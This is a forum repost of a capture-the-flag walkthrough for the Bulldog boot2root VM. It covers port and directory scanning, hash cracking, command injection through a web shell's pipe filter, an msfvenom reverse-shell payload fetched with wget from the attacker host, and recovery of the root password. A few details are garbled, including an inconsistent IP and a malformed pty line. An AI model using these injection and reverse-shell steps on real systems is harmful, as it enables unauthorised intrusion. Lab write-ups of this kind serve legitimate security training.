• We just launched and are currently in beta. Join us as we build and grow the community.

Hack the Bulldog VM (Boot2Root Challenge)

glathrind

Cloud Deployment Strategist
G Rep
0
0
0
Rep
0
G Vouches
0
0
0
Vouches
0
Posts
156
Likes
37
Bits
2 MONTHS
2 2 MONTHS OF SERVICE
LEVEL 1 300 XP
Hello friends! Today we are going to take another CTF challenge known as Bulldog. The credit for making this vm machine goes to ā€œNick Frichetteā€ and it is another Boot2root challenge. Our goal is to get into root directory and see the congratulatory message. You can download this VM here.

Letā€™s Breach!!!

The target holds 192.168.1.158 as network IP; now using nmap lets find out open ports.

nmap -sV 192.168.1.158

1.png


Nmap scan shows us port 80 is open, so we open the ip address in our browser.

2.png


We donā€™t find anything on the web page. So we use dirb to find the directories for more information.

dirb http://192.168.1.158/

3.png


We find quite a few directories, we open http://192.168.1.158/dev/ for information. We didnā€™t find anything on the web page, so we take a look at the source code of the page. There we find a few passwords in md5 hash encryption for the respective users.

4.png


We are able to only crack the last 2 hashes and find 2 strings ā€˜bulldogā€™ and ā€˜bulldogloverā€™.

5.png


We open the admin page we found using dirb. We now use one of these hashes as password and we take the respective username.

We use username as ā€˜nickā€™ and password as ā€˜bulldogā€™.

6.1.png


After logging in we go to http://192.168.1.107/dev/shell that we found using dirb. We find that it Is a command shell that allows us to execute certain commands. We can easily bypass this firewall using ā€˜|ā€™ to run multiple commands.

6.png


Now we create a python payload using msfvenom.

msfvenom -p python/meterpreter/reverse_tcp lhost=192.168.1.111 lport=4444 > /var/www/html/shell.py

7.1.png


We setup our listener using metasploit for reverse shell.

msf > use exploit/multi/handler

msf exploit(handler) > set lhost 192.168.1.111

msf exploit(handler) > set lport 4444

msf exploit(handler) > set payload python/meterpreter/reverse_tcp

msf exploit(handler) > run

7.2.png


We now upload our payload to the server and execute the payload to get reverse shell.

pwd | wget http://192.168.1.111/shell.py | python shell.py

7.png


As soon as we execute our payload we get our session on metasploit.

8.png


We spawn a shell using python to execute our command.

Code:
[code]
echo "import pty; pty.spawn("/bin/bash")'

[/code]

9.png


Looking through we find a file customPermissionApp in /home/bulldogadmin/.hiddendirectory/.

We use strings command to take a look at the strings inside customPermissionApp.

strings customPermissionApp

10.png


We find a string called SUPERultHimatePASHSWORDyouHCANTget, we remove ā€˜Hā€™ from the string and use this as our password to get access as root.

sudo su

Then we move to root folder inside the root folder we find a file called ā€˜congrats.txtā€™. When we open the file we are greeted by a message congratulating us for the completion of the VM challenge

11.png


Author: Sayantan Bera is a technical writer at hacking articles and cyber security enthusiast. Contact Here
 

452,292

323,341

323,350

Top